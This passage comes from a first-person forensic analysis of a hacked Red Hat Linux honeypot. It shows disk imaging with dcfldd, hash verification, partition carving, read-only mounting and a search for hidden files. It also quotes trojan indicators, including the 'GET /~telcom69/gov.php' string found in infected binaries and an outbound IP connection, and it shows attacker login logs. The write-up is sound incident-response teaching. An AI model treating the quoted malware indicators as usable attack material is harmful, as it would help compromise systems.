must be done on an exact copy of the hard disk, to preserve any evidence on the original disk. The process for creating this exact copy is fairly simple:

- **Setup**: Connect the target hard disk to a host system capable of making the copy.
- **Power-up**: Power up the system, ensuring that the target hard disk is not mounted, checked, or in any other way modified as part of the power up sequence.
- **Copy**: Again without modifying the target hard disk, copy all the data from the target disk to a file.
- **Verify**: Verify the integrity of the copy by comparing a hash of the copy with a hash of the original target disk.

**Setup**

As the target hard drive (Tag #1-2) is an IDE device, the host system must support IDE devices. In general, systems that support IDE devices have a primary and a secondary IDE controller. Each controller can control up to 2 devices. The host system must have room for at least 1 IDE device without removing anything important (say, the primary hard drive with the OS on it, for instance!) for the copy process to work.

The scanner system fits the bill perfectly. It is a fairly large desktop system with easy access to its insides, and will easily support an additional IDE device. The scanner system is running Redhat Linux Version 9, which will allow the copy to be made easily. This decided, I open the host system, and plug the target drive into the secondary IDE controller, as the master drive. Step #1 complete.

**Power-up**

As a rule, Linux systems don't do anything to new hard disks unless specifically told to do so. This means the system can be powered up without fear of anything being done to the target hard drive. With the system powered up, I was ready to copy the target drive.

**Copy**

To make an exact copy of everything on the target hard drive, I choose the utility `dcfldd`. This program is a modified version of the venerable `dd`, available on most Unix OS installations. Originally created by the Department of Defense Forensics Lab, `dcfldd` was re-released for public use as part of the “Bootable CD Forensics/Virus Scanning/Recovery/Pen Testing platform”16 created by Nicholas Harbour, Paul Rubin, David MacKenzie, and Stuart Kemp. The basic `dd` utility is commonly used to duplicate chunks of data from one location to another. Those locations can be from file to file, disk to disk, or anything in between. The default chunk (also called a block) size is 512 bytes, but this block size can be changed to anything using the command line option “bs”. `dcfldd` builds on this capability by adding things like the ability to generate an md5 hash of the data transferred, thus insuring the copy is the same as the original. `dcfldd` also has a nifty progress meter which is very helpful for impatient people who wonder if anything is actually happening. Look, the progress meter is moving! Something must be

working!

The command used to create a copy of the target hard disk is:

```
dcfldd if=/dev/hdc of=dd.hacked hashwindow=0 hashlog=md5.hacked
```

Here is an explanation of the options I used:

<table>
<thead>
<tr>
<th>Option</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>if=/dev/hdc</td>
<td>This specifies the Input File as the file /dev/hdc. This file is the block device</td>
</tr>
<tr>
<td></td>
<td>representing the physical target disk in the host system.</td>
</tr>
<tr>
<td>of=dd.hacked</td>
<td>This specifies the Output File as “dd.hacked”. This file will contain a copy of all</td>
</tr>
<tr>
<td></td>
<td>the data, bit for bit, that is on the target disk</td>
</tr>
<tr>
<td>hashwindow=0</td>
<td>This option specifies the amount of bytes that should have an MD5 hash generated</td>
</tr>
<tr>
<td></td>
<td>from. If it were set to 500, then every 500 bytes of data would have an MD5 hash</td>
</tr>
<tr>
<td></td>
<td>generated from them. Since 0 was specified, an MD5 hash will be generated only</td>
</tr>
<tr>
<td></td>
<td>once from the entire copy of data.</td>
</tr>
<tr>
<td>hashlog=md5.hacked</td>
<td>This option specifies where the MD5 hash created for the “hashwindow” option</td>
</tr>
<tr>
<td></td>
<td>are stored.</td>
</tr>
</tbody>
</table>

Table 4.1 dcfldd options

**Verify**

For any of my analysis to mean anything, I had to be absolutely sure that the data I analyzed was the same as the data on the target disk. To verify that this was the case, I will use something called an MD5 checksum, also called an MD5 hash. An MD5 checksum is basically a digital fingerprint of a chunk of data. As with fingerprints, no two MD5 checksums for different chunks of data are the same\(^\text{17}\). A utility called `md5sum`, available as part of the GNU core utilities for Linux\(^\text{18}\), is what I used to verify the MD5 hashes of the original data and the copy were the same. Since `dcflldd` already provided me with the MD5 hash of the copied data, all I had to do was generate an MD5 hash from the original disk. Here is the command used to generate the MD5 hash of the original target disk, and the resulting MD5 hash:

```
[boingo@scan tmp]$ md5sum /dev/hdc
d3582d762baade9233a2539397ddc129 /dev/hdc
```

Text 4.1 MD5 hash of original disk drive

A quick look at the MD5 hash generated by `dcflldd` at the completion of the data duplication reveals that the two hashes match:

---

\(^\text{17}\) Recently, a paper was published claiming that a collision (when 2 different pieces of data have the same MD5 sum) had been found using MD5 checksums. However, even if true, for the purpose of forensics, MD5 are still acceptable for determining data integrity. For more, read [http://eprint.iacr.org/2004/199.pdf](http://eprint.iacr.org/2004/199.pdf)

The two hashes match, so the duplicate data is an exact copy of the original target disk's data. The analysis could proceed. The disk image file “dd.hacked” was transferred to my forensics laptop (where the MD5 hash was again verified to make sure the copy over the network didn't mess anything up) for further processing.

The disk image file “dd.hacked” contained all the data from the original disk, but getting to it isn't as easy as just typing “cat dd.hacked” in a shell! To be able to do useful things like mount the data image as if it were a real hard disk, I first had to break the data into separate partitions just like on the target hard drive. This is done by using `dfldd` to carve out portions of the full disk image, and write them to a separate file, a partition image, if you will. I could have copied the data off the original disk one partition at a time, but my old forensics instructor once said, “Get all the data you can first, and split it up later. It would really suck to need data you don't have.” I took that message to heart for this analysis.

Before each partition could be carved out of the disk image, I had to find out where the partitions started and ended inside the disk image. To do this, I used a utility called `mmls` provided by “The Sleuth Kit” created by Brian Carrier. This program is used to display the disk label and partition table of disk images. All I had to do was tell the utility which type of media the images were taken from (“dos” in this case, because Linux disks are still based on DOS file partitions) and give it the name of the disk image. Here is the command, and the output:

```
[boingo@scan tmp]$ more md5.hacked
Total: d3582d762baade9233a2539397ddc129
```

```
[boingo: /opt/hacked/output]$ mmls -t dos dd.hacked
DOS Partition Table
Units are in 512-byte sectors

<table>
<thead>
<tr>
<th>Slot</th>
<th>Start</th>
<th>End</th>
<th>Length</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>00:</td>
<td>------</td>
<td>------</td>
<td>000000000000000000</td>
<td>Primary Table (#0)</td>
</tr>
<tr>
<td>01:</td>
<td>------</td>
<td>------</td>
<td>000000000000000000</td>
<td>Unallocated</td>
</tr>
<tr>
<td>02:</td>
<td>00:00</td>
<td>000000000063</td>
<td>0001638629</td>
<td>Linux (0x83)</td>
</tr>
<tr>
<td>03:</td>
<td>00:01</td>
<td>0001638630</td>
<td>0008418059</td>
<td>DOS Extended (0x05)</td>
</tr>
<tr>
<td>04:</td>
<td>------</td>
<td>------</td>
<td>000163863000000000</td>
<td>Extended Table (#1)</td>
</tr>
<tr>
<td>05:</td>
<td>------</td>
<td>------</td>
<td>000163863100000000</td>
<td>Unallocated</td>
</tr>
<tr>
<td>06:</td>
<td>01:00</td>
<td>0001638693</td>
<td>0002698919</td>
<td>Linux Swap / Solaris x86 (0x82)</td>
</tr>
<tr>
<td>07:</td>
<td>01:01</td>
<td>0002698920</td>
<td>0008418059</td>
<td>DOS Extended (0x05)</td>
</tr>
<tr>
<td>08:</td>
<td>------</td>
<td>------</td>
<td>000269892000000000</td>
<td>Extended Table (#2)</td>
</tr>
<tr>
<td>09:</td>
<td>------</td>
<td>------</td>
<td>000269892100000000</td>
<td>Unallocated</td>
</tr>
<tr>
<td>10:</td>
<td>02:00</td>
<td>0002698983</td>
<td>0008418059</td>
<td>Linux (0x83)</td>
</tr>
</tbody>
</table>
```

The partitions of interest are the ones labeled “Linux (0x83)” and “Linux Swap”. The numbers in the second column represent which drive partition is represented. For each partition, `mmls` had determined the starting and ending block, as well as the length (in blocks) of the

---

partition. For instance, the first Linux partition starts on block 63, ends on block 1638629, and is 1638567 blocks long. Since the unit (block) size is 512 bytes (shown at the top), the exact size of the partition can be easily determined. More importantly, this information can be used to tell **dcfldd** exactly where to start copying data, and how long it should copy data.  

So, knowing where each partition started, how long it was, and its original partition number, I could use **dcfldd** to carve out all of the Linux partitions. I had to use two new options to tell **dcfldd** where to start carving, and how long to carve. Those options were “skip” which told the utility how many blocks to skip before starting its carve, and “count” which (obviously) told **dcfldd** how many blocks to carve. With those options, I was able to carve out the partitions:

```bash
[boingo: /opt/hacked/output]$ dcfldd if=dd.hacked of=dd.hd1 hashwindow=0 skip=63 count=1638567
1638400 blocks (800Mb) written.
Total: 32732e55f187a03bc7e32564dc79de80
1638567+0 records in
1638567+0 records out

[boingo: /opt/hacked/output]$ dcfldd if=dd.hacked of=dd.hda5 skip=1638693 count=1060227 hashwindow=0
1060096 blocks (517Mb) written.
Total: fc1385c257036383b52bc6a6620eb329f
1060227+0 records in
1060227+0 records out

[boingo: /opt/hacked/output]$ dcfldd if=dd.hacked of=dd.hda6 skip=2698983 count=5719077 hashwindow=0
5719040 blocks (2794Mb) written.
Total: ce7d0a9f1ded2e6b0ccd6658588e1ea8
5719077+0 records in
5719077+0 records out
```

**Text 4.4 dcfldd**

MD5 hashes were automatically generated by **dcfldd** to enable the verification of the image files as required during analysis.

**Running Summary, part 2**

Up to this point, we have a hacked Linux system. The hard drive has been removed from the system, and a duplicate has been made. That duplicate has been split up into usable partition images for later analysis. All the images have been verified as accurate. Still, nothing is known about the hack itself, or the nefarious person behind such a heinous crime! Hopefully, that part comes next!

---

20 For more information on using dcfldd and fdisk to split disk images, read [http://www.sleuthkit.org/informer/sleuthkit-informer-12.html](http://www.sleuthkit.org/informer/sleuthkit-informer-12.html)
5 Media Analysis of System

5.1 Mounting the images

After verifying the data on the partition images were accurate, the next step was to mount the partition image files so data on them can be analyzed. However, the image files must be mounted in a special manner to insure that the integrity of both the hacked data, and the forensic system remains intact. It's not enough to make sure nothing can be changed on the partition image once mounted, its also important to make sure nothing from the partition image can affect the forensic system. For instance, if the hacked system contains an executable that could damage or destroy whatever system its run on, including the forensic system. For these reasons, there are special options that must be used with the mount command. These are the options used to mount the partition images, and their purpose:

<table>
<thead>
<tr>
<th>Option</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>loop</td>
<td>Use the loopback device. This option is necessary for mount to treat a partition image as a physical disk partition.</td>
</tr>
<tr>
<td>ro</td>
<td>Read-only. This option makes it impossible to write data to the partition image. This insures the integrity of the image remains intact.</td>
</tr>
<tr>
<td>noexec</td>
<td>Do not execute. This option makes all files on the partition image un-executable. This option protects the integrity of the forensic system.</td>
</tr>
<tr>
<td>noatime</td>
<td>Don't update the access time. You'd figure “ro” was good enough, but this option must also be included so the inode access time isn't updated during analysis.</td>
</tr>
<tr>
<td>nodev</td>
<td>Ignore device files. This option instructs the OS to ignore all device files on the partition image. This is also more for the protection of the forensic system rather than the partition image.</td>
</tr>
</tbody>
</table>

Table 5.1 Mount options

Using these options, I mounted the partition images on the forensic laptop:

```bash
[root: ~]# /bin/mount -o ro,loop,noexec,noatime,nodev /opt/hacked/output/dd.hda6 /mnt/hacked
[root: ~]# /bin/mount -o ro,loop,noexec,noatime,nodev /opt/hacked/output/dd.hda1 /mnt/hacked/boot
[root: ~]# mount |grep dd.hda
/opt/hacked/output/dd.hda6 on /mnt/hacked type ext2 (ro,noexec,nodev,noatime,loop=/dev/loop0)
/opt/hacked/output/dd.hda1 on /mnt/hacked/boot type ext2 (ro,noexec,nodev,noatime,loop=/dev/loop1)
```

Text 5.1 mounting the hacked disk image

Where to mount?

Not shown here is how I determined that dd.hda1 should be mounted at
/mnt/hacked/boot because it was the /boot partition. I created the Honeypot system myself, so I knew that hda1 was the /boot partition. To be thorough and verify that fact, I first mounted the partition image in a temporary location (/tmp/x is my favorite) and looked at it. Because of the types of files on that partition (kernel.h, System.map, vmlinuz, etc) I knew that the partition was the /boot partition. I then remounted the image in the correct location.

5.2 MD5 comparison

At this point my forensic analysis diverged from the normal analysis for one very important fact. I knew what the Honeypot looked like before it was hacked. I had a backup image of the disk taken a few weeks before it had been compromised. An MD5 sum was taken of each file on the original un-hacked image. This was done using **md5deep**\(^\text{21}\), a utility created by Jesse Kornblum. This program was created to create MD5 sums of an entire directory structure, and all the files within. It can also compare a list of MD5 hashes created by other utilities to the ones it generates, and point out any matches or differences, depending on the command line options used.

I mounted the original image, and used **md5deep** to create the MD5 hashes of the original files.

```
[root: /opt/hacked]# mount -o ro,loop,noexec,noatime,nodev /opt/hacked/dd-orig.hda6 /mnt/orig
[root: /opt/hacked]# mount -o ro,loop,noexec,noatime,nodev /opt/hacked/dd-orig.hdal /mnt/orig/boot
[root: /opt/hacked]# md5deep -r /mnt/orig/ >md5sum-orig-hda6-1.txt
[root: /opt/hacked]# md5deep -x original-hdal-6-md5sum -ro f /mnt/hacked >different-from-orig-md5sum
```

**Text 5.2 md5deep**

As you can see, I mounted the original partition images at /mnt/orig and /mnt/orig/boot with the same forensically safe options used to mount the hacked partition images. I then ran **md5deep** with these options:

<table>
<thead>
<tr>
<th>Option</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>-r</td>
<td>Recursive. Generate sums of all the files from the directory specified on down</td>
</tr>
<tr>
<td>-e</td>
<td>Progress meter. Display a progress meter as it works.</td>
</tr>
<tr>
<td>-o f</td>
<td>Only generate sums of regular files. This is to stop it from trying to take an MD5 sum of /dev/zero, which takes a rather long time (approximately forever.)</td>
</tr>
</tbody>
</table>

\(^{21}\) Available at [http://md5deep.sourceforge.net/](http://md5deep.sourceforge.net/)
To compare the original hashes to the hacked image hashes

| -x | Negative match. Only show files that DON'T match hashes in the specified MD5 hash file. This shows anything changed since the original image was taken. |

Table 5.2 md5deep options

This comparison is not perfect. I happen to know that there were some reasonably large changes that took place on the Honeypot system after the original image was made. However, the usefulness of such a comparison becomes crystal clear when presented with this little fact.

The file created by `md5deep` containing hashes of the original disk contains 78,152 entries. The difference file created by comparing the MD5 sums of the original with those of the hacked image contains 353! Of those 353, 88 files can be eliminated immediately because they are files I recognize as being added before the compromise by me, or are log files that change constantly. These log files will be looked at during the analysis anyway, but listing them in the “unusual changes” category isn't really correct. Here is an excerpt of some of the more interesting items in the list. “...” denotes data has been deleted to shorten the display.

```
[boingo: /opt/hacked]$ cat unusual-diff-from-orig-md5sum
/mnt/hacked/etc/rc.d/init.d/syslog
/mnt/hacked/etc/rc.d/init.d/functions
/mnt/hacked/etc/rc.d/init.d/inet
/mnt/hacked/etc/rc.d/init.d/sshd
/mnt/hacked/etc/sysconfig/console/default
.1s
/mnt/hacked/etc/sysconfig/console/default
.netstat
/mnt/hacked/etc/sysconfig/console/default
.ps
/mnt/hacked/etc/sysconfig/console/default
.socketlist
/mnt/hacked/etc/sysconfig/console/default
.syslog
/mnt/hacked/etc/sysconfig/network
....
/mnt/hacked/bin/mktemp
/mnt/hacked/bin/chgrp
/mnt/hacked/bin/chmod
/mnt/hacked/bin/chown
/mnt/hacked/bin/cp
/mnt/hacked/bin/dd
/mnt/hacked/bin/df
/mnt/hacked/bin/in
/mnt/hacked/bin/dd
/mnt/hacked/bin/md
/mnt/hacked/bin/mkdir
/mnt/hacked/bin/mknod
/mnt/hacked/bin/mv
/mnt/hacked/bin/rm
/mnt/hacked/bin/rmdir
/mnt/hacked/bin/sync
/mnt/hacked/bin/touch
/mnt/hacked/bin/gawk-3.0.4
...
```

Text 5.3 unusual-differences between original and hacked image
Hmmm... with all the modified files in /home/test, it looks like the hacker may have used the test account to get in, doesn't it? It also looks like he installed a Loadable Kernel Module rootkit (the files in lib/modules are a good pointer of that), and he modified a large number of system executables for some reason.

**MD5 sums in the real world**

In the real world, systems generally don't have MD5 sums of the entire disk, less than 2 weeks old, with only minimal changes, many of which are easily recognizable as valid. For one thing, maintaining such a list is generally labor intensive, especially on a system that is actually used and changed often. However, depending on the importance of the system, a list like this IS possible. There is a commercial (and freeware) product called “Tripwire”[^22] that will automatically create and maintain a database of various key settings of (potentially) every file on a system. These settings can be anything from file size, to permissions, to ownership, to MD5, HAVAL, SHA, and/or CRC-32 hash values. With a bit of work (a lot of work really) this database can be updated automatically and the system administrators can be informed of any changes shortly after they occur. The existence of this product, and the fact that an average system administrator can use it, makes my analysis with the help of an MD5 list much more plausible in the real world.

Under normal circumstances, without an MD5 differences list, one of the first steps of a system analysis would be to look for unusual files, such as hidden files/directories, regular files in the /dev directory, and files with inodes out of place. Though not strictly necessary in my case, I did these steps anyway as added verification of my previous findings.

### 5.3 Basic Recon

But first, I did some basic reconnaissance to verify important background pieces of information. A quick check of /etc/issue shows that the OS is Red Hat Linux, release 6.2, running Kernel version 2.2.14-5.0 on an i686 (Intel Pentium) processor.

```bash
[boingo: /mnt/hacked/etc]$ more issue
Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-5.0 on an i686
[boingo: /mnt/hacked/etc]$
```

The etc/fstab file is used by the OS to determine which devices to mount, and where to mount them. Next, this file was checked to verify the partition images were mounted in the right place, relative to each other.

[^22]: Academic and Commercial version at [http://www.tripwire.com](http://www.tripwire.com)  
Open source Version at [http://www.tripwire.org](http://www.tripwire.org)
Yup, I was right. No need to remount the images in different places.
There are many tell-tale signs a hacker has compromised a system and tried to hide his presence. One way to hide his presence is to create hidden directories and work inside those directories.

5.4 Hidden directories

On Linux systems, any file or directory with the first character “.” will not show up on a regular listing. These files and directories are called “hidden” or “dot” files in normal Geek Speak. Also, directories can be created using one or more spaces or other non-printable characters as its name. These directories are very hard to spot in a regular listing. If the directory is hard to spot, the chances of a hacked system being ignored greatly increases.

First, I checked for directories that started with a “.” character.

```
[root: /mnt/hacked]# find . -type d -name ".*"
./.tmp/.gnome
./.tmp/.gnome_private
./.tmp/.font-unix
./.tmp/.X11-unix
./.tmp/.ICE-unix
./etc/skel/.kde
./home/dev1/.kde
./home/test/.kde
./root/.gnome
./root/.gnome_private
./root/.enlightenment
./root/.mc
./root/.gnome-help-browser
./root/.gnome-desktop
./root/.netscape
./root/.ncftp
./usr/share/ascd-0.12.1/sands/.xvpics
./usr/share/control-center/.data
./usr/src/linux-2.2.14/pcmcia-cs-3.1.8/cardmgr/.depfiles
./usr/src/linux-2.2.14/pcmcia-cs-3.1.8/clients/.depfiles
./usr/src/linux-2.2.14/pcmcia-cs-3.1.8/debug-tools/.depfiles
./usr/src/linux-2.2.14/pcmcia-cs-3.1.8/flash/.depfiles
./usr/src/linux-2.2.14/pcmcia-cs-3.1.8/modules/.depfiles
./.automount
[root: /mnt/hacked]#
```
The list of directories that start with a “.” doesn't reveal anything out of the ordinary. Next, I checked for directories with non-alpha numeric characters as their first character.

```
[root: /mnt/hacked]# find . -regex '.*/[^A-Za-z0-9]*' -ls
32914 0 lrwxrwxrwx 1 root root 4 Jul 14 03:19 ./usr/bin/[
310542 4 -rw-r--r-- 1 root root 1938 Jan 17 1997 ./usr/lib/irc/help/!
310544 4 -rw-r--r-- 1 root root 235 Jan 17 1997 ./usr/lib/irc/help/!
[root: /mnt/hacked]#
```

Text 5.7 non-standard names

All three of these files are normal, so they can be ignored.

### 5.5 Hidden files in /dev

Another way to hide in a normal Linux system is to do the “needle in a haystack” tactic. What I mean by this is, put the “bad” directory or file inside a directory that has so many legitimate files in it that no one ever does a directory listing on purpose. That directory is the /dev directory. The /dev directory and its subdirectories have over 18,000 files in them; 7500 in the /dev directory itself! However, all of these files are special “device” files so a quick check for regular files would reveal anything that shouldn't be there.

```
[root: /mnt/hacked/dev]# find . -not -type b -not -type c -not -type l -ls
195073 36 drwxr-xr-x 7 root root 36864 Aug 18 05:49 .
199175 0 srw-rw-rw- 1 root root 0 Aug 18 05:15 ./log
195266 28 -rw-r-xr-x 1 root root 26689 Mar 2 2000 ./MAKEDEV
195334 0 prw------- 1 root root 0 Jul 30 02:32 ./initctl
179529 12 drwxr-xr-x 2 root root 12288 Jul 14 03:23 ./ida
65767 4 drwxr-xr-x 2 root root 4096 Feb 23 1999 ./pts
65768 4 drwxrwxr-x 2 root root 4096 Jul 14 03:23 ./raw
293365 32 drwxr-xr-x 2 root root 32768 Jul 14 03:23 ./rd
198108 4 -rw-r-xr-x 1 root root 1598 Mar 7 2000 ./MAKEDEV.ibcs
278435 4 drwxr-xr-x 2 root root 4096 Jul 14 03:39 ./inet
199177 0 --------- 1 root root 0 Aug 18 05:49 ./hdx1
199178 0 --------- 1 root root 0 Aug 18 05:49 ./hdx2
```

Text 5.8 normal files in /dev

**Infected!**

Most of these are normal, but “log”, “hdx1” and “hdx2” are not. “log” won't help much since its empty and has a normal name, but “hdx1” and “hdx2” might. Finally something to write home about! A quick google search for “/dev/hdx1” and “/dev/hdx2” reveal an interesting possibility. The files hdx1 and 2 are a sign that a system has been infected with a RST (Remote Shell Trojan) virus! One of the other signs of this virus is that many/all executable files in the /bin directory will be infected, and will contain “GET /~telcom69/gov.php” and “snortdos”. This shows that the virus has been triggered, and has attained root access. A quick

23 [http://www.google.com](http://www.google.com)
24 [http://www.viruslibrary.com/virusinfo/Linux_RST.htm](http://www.viruslibrary.com/virusinfo/Linux_RST.htm) [http://www.securityfocus.com/archive/100/247640](http://www.securityfocus.com/archive/100/247640)
look revealed that this was indeed the case. To check for this text string inside a binary file, I used the command `strings` which comes standard with most Linux OS's. This program searches binary files for recognizable ASCII text (over 4 characters in a row, by default) and prints any it finds. I ran the output of strings through the `grep` command (another standard Linux utility) so that only the strings that matched my search pattern, "GET /~telcom69/gov.php" would be displayed.

```
[root: /mnt/hacked/bin]# find . -type f -exec strings -af {} \; | grep "GET /~telcom69/gov.php"
./mktemp: GET /~telcom69/gov.php HTTP/1.0
./chngr: GET /~telcom69/gov.php HTTP/1.0
./chmod: GET /~telcom69/gov.php HTTP/1.0
./chown: GET /~telcom69/gov.php HTTP/1.0
./cp: GET /~telcom69/gov.php HTTP/1.0
./dd: GET /~telcom69/gov.php HTTP/1.0
./df: GET /~telcom69/gov.php HTTP/1.0
./ln: GET /~telcom69/gov.php HTTP/1.0
./ls: GET /~telcom69/gov.php HTTP/1.0
./mkdir: GET /~telcom69/gov.php HTTP/1.0
./mknod: GET /~telcom69/gov.php HTTP/1.0
./mv: GET /~telcom69/gov.php HTTP/1.0
./rm: GET /~telcom69/gov.php HTTP/1.0
./rmdir: GET /~telcom69/gov.php HTTP/1.0
./sync: GET /~telcom69/gov.php HTTP/1.0
./touch: GET /~telcom69/gov.php HTTP/1.0
./gawk-3.0.4: GET /~telcom69/gov.php HTTP/1.0
./gawk: GET /~telcom69/gov.php HTTP/1.0
./cat: GET /~telcom69/gov.php HTTP/1.0
./sort: GET /~telcom69/gov.php HTTP/1.0
./sed: GET /~telcom69/gov.php HTTP/1.0
./consolechars: GET /~telcom69/gov.php HTTP/1.0
./loadkeys: GET /~telcom69/gov.php HTTP/1.0
[root: /mnt/hacked/bin]#
```

Text 5.9 searching for signs of infection in /bin

Doh! The system had definitely been infected. But wait, there's more! Although it is not a sure sign, let's check the access time of these files, to perhaps see when they were infected. There is no mention of the virus doing any obfuscation of modification times when taking over a system.
The modification times are mostly on the 21\textsuperscript{st}, when I was trying to run Grave-Robber. It's good to know that mistakes aren't restricted to just the hacker during this incident! I managed to run a large number of executable on the system, ruining some of the evidence. Go me!! However, there is a good side to this. There are files with the “telcom69” string that were modified on the 19\textsuperscript{th}, and on the 18\textsuperscript{th}. Also, the modification time on dev/hdx1 and dev/hdx2 were on the 18\textsuperscript{th}. That means I wasn't the one who initially infected the system with the virus. Go hacker!

File Systems

And now, some background on file systems. What I am going to explain applies to many file system types, but since the hacked system is running on a Linux EXT2 file system, that is the file system type I will focus on.

In its simplest form, a file system can be thought of as 2 things. Data, and a pointer to that data. Think of it as a two notebooks with numbered pages. One notebook is labeled “data” and one is labeled “metadata”. In the “data” notebook, you put pieces of data (todo lists, book reports, phone lists, etc.) and in the “metadata” notebook you put information about the stuff in the “data” notebook. This information would tell you things like what pages the piece of data is on, who wrote it, and when it was written. Items in both notebooks can only be written one page at a time. This means even if a phone list only takes ½ of page #1, the rest of the page can't be used for anything else. The next piece of data would go on page #2. The same applies for the “metadata” notebook. The
information about the phone list would be on metadata notebook, page #1. Information on
the next piece of data would be on metadata page #2.

Each time a new piece of data is put in the data notebook, a new metadata page is used
to describe that data. Let's say the next piece of data was a forensics analysis report on a
hacked computer. That data would go on pages 2 through 52 in the data notebook, and the
pointer to it would go on page 2 in the metadata notebook. This process continues. Let's
say it continues to metadata page #47368. If the data pointed to by metadata page #2 (the
forensics paper) is no longer needed, not a whole lot is done. The metadata page #2 is
marked as “available” and the name of the piece of data is erased, and that's it. Life goes
on. However, here is the key... When the next piece of data is created, the metadata is put
on page #47369, NOT #2! Metadata page #2 isn't used until every other metadata page has
been used at least once. So, even if the new piece of data is the same as the data that WAS
referenced by metadata #2, its referenced on metadata #47369.

On a Linux EXT2 file system, the same thing happens. The metadata page is the
“inode.” The page number is the “inode number”. When the OS is installed, /bin/ls is
created and its metadata is put in inode number 260402. If, later on, /bin/ls is deleted, and
an evil version of ls is put in its place, the inode will not be #260402, but something else,
probably much higher. This is a very easy way to see if OS files have been replaced.
Also, files inside a given directory generally have sequential inode numbers because they
are created at about the same time. This makes it even easier to see if one of them has
been replaced. This information will be important for the next part of the analysis.

Next, I wanted to see if the OS files were replaced by the virus, or just modified. A quick
check of the inode numbers in the /mnt/hacked/bin directory shows nothing out of the ordinary.
The inode numbers are generally sequential, including those from the trojaned OS files.
This shows that the files were modified, not replaced.

Next, I checked to see if I could get a better idea of when the system was first infected. The earliest modification date of any trojaned file was “Aug 18 05:49 ./cat”, but the papers analyzing the virus say that on execution of an infected file, a connection is attempted to 207.66.155.21, port 80. Since I have network logs of all traffic, I can see each time an infected file was run.

The initial infection, causing the first attempted connection to 207.66.155.21 occurred at 5:49:41 AM, PST, on August 18th, 2004. Once a timeline is created, I can check to see if this time corresponds to any file execution. Perhaps I could tie the initial infection directly to an
infected file being executed!

The last virus related thing I checked before creating a timeline was whether the virus remote shell had been used. The common symptom of this would have been inbound EGP protocol traffic. A quick check of the network logs showed no signs of this traffic. While this didn't completely exclude the possibility that the virus was used as a backdoor (it could have been redesigned to use some other protocol) it was reasonable to assume it wasn't used until evidence was found to the contrary.

Running Summary, part 3

It's been a while, I think it's time for a summary. So far, the system has been hacked. The hard drive has been removed from the system, and a duplicate has been made. That duplicate has been split up into usable partition images for later analysis. All the images have been verified as accurate. Those images were mounted on the forensic system, and analysis was started. Because there is a hash list of all the files before the hack, we know that only 353 out of 17,000 files have been modified. 84 of those can be considered normal changes, leaving 269 files to check out. 214 of these are in the home directory of the “test” user.

We know the system was infected with a Remote Shell Trojan virus on August 18th, at 5:49AM, PST. We know that I accessed a number of executables on Aug 21st that were infected with the RST virus, obliterating some of the evidence from the hacked system. It doesn't appear that the virus was used as a backdoor. We know that either no attempt was made by the hacker to hide his tracks, or whatever is hidden is still very hidden. We suspect it was the former, but can't say for sure. We also suspect the system had a Loadable Kernel Module rootkit installed, because of the presence of 2 files in /lib/modules.

We still don't know much about the hack itself, or what was done on the system while it was compromised. On with the analysis!

5.6 SUID/SGID files

Putting the virus infected files aside for the time being, I made a quick check for any SUID/SGID files on the hacked image that shouldn't have been there. SUID/SGID files allow whoever executes these files to run them as the owner or group of that file. Basically, the user “test” could execute a file owned by root like he WAS root, if the SUID bit were set.
Most of the files listed were normal, but a few (highlighted above) were worthy of note. All four of these files are part of the “unusual-differences”, so I will get to them later.

Logs and roots

Next, a short aside on logging and rootkits. On a Linux system, quite a few things are automatically logged as they happen. When someone logs in, it's logged. When a service starts or stops, it's logged. When an email is sent, or received; when the system reboots; or basically any time a running service has some issue it thinks others should know about, it's logged. Even the commands run once you logged in are sometimes logged!

On a Red Hat Linux system most logs are in /var/log. Inside this directory there there are a number of logs with different purposes. “messages” is used for most non-critical logging (service messages and the like.) Things that are potentially security risks, such as logins where people may accidentally type passwords instead of user names are stored in the log “secure.” Boot logs are stored in “boot.log” and logs concerning email are stored in “maillog” There is also a file called wtmp which records information about logins such as when, from where, and for how long someone logged in.

Most computer savvy people know about this logging. This especially holds true for hackers. To solve this logging problem, a hacker will install something called a “rootkit” upon gaining access to the system. A rootkit is defined as “a collection of tools (programs) that a hacker uses to mask intrusion and obtain administrator-level access to a computer or computer network.” The rootkit provides tools designed to allow root level access to a system, and hide that access from normal view. This means cleaning up old logs so the initial compromise isn't visible, and preventing future logging of the hackers actions. This makes rootkits not only one of the primary tools of a hacker, but one of the major sources of headaches for forensic analysis.

That is of course, unless the hacker doesn't know how to use the rootkit. If that's the

http://searchsecurity.techtarget.com/sDefinition/0,,sid14_gci547279,00.html
case, then the rootkit becomes a shining beacon for all to see, proclaiming in big bright neon letters, “HEY LOOK, SOMEONE JUST HACKED THIS SYSTEM!!”

5.7 System Logs

Since I knew the system had been hacked by the network logs, and I knew roughly when it was hacked, one of the first things I checked was the logs. Imagine my surprise to find every log partially to completely intact! I was easily able to correlate the initial login times in the messages, and wtmp logs. (NOTE: entries from the wtmp logs are always listed backwards, from most recent to oldest. Entries from messages are oldest to most recent. Thats why things look backwards.)

```
[root: /mnt/hacked/var/log]$ last -aixf wtmp -8
root tty1 Fri Aug 20 20:53 gone - no logout 0.0.0.0
root pts/0 Wed Aug 18 09:32 - 14:47 (05:14) 195.78.42.162
root pts/1 Wed Aug 18 05:13 - 08:27 (03:13) 195.78.42.162
root pts/0 Wed Aug 18 05:11 - 07:25 (02:13) 195.78.42.162
ftp ftpd31460 Wed Aug 18 03:19 - 03:19 (00:00) 0.0.0.0
ftp ftpd31460 Wed Aug 18 00:01 - 00:01 (00:00) 0.0.0.0
test pts/0 Tue Aug 17 23:18 - 23:21 (00:02) 81.196.70.89
test pts/0 Tue Aug 17 22:23 - 22:23 (00:00) 202.28.25.130

wtmp begins Tue Aug  3 03:06:26 2004
```

**Text 5.14 last login logs**

Here are the corresponding entries in the messages log file.

```
[boingo: ~/hp-aut/output]$ cat messages.trimmed
Aug 17 22:23:18 dev1 sshd[31311]: Accepted password for test from 202.28.25.130 port 43878 ssh2
Aug 17 22:23:58 dev1 PAM_pwdb[31311]: (sshd) session closed for user test
Aug 17 23:18:28 dev1 sshd[31358]: Accepted password for test from 81.196.70.89 port 1976 ssh2
Aug 17 23:18:49 dev1 PAM_pwdb[31383]: password for (test/501) changed by (test/501)
Aug 17 23:21:02 dev1 PAM_pwdb[31358]: (sshd) session closed for user test
Aug 18 04:02:30 dev1 sshd[31579]: Accepted password for test from 195.78.42.162 port 4732
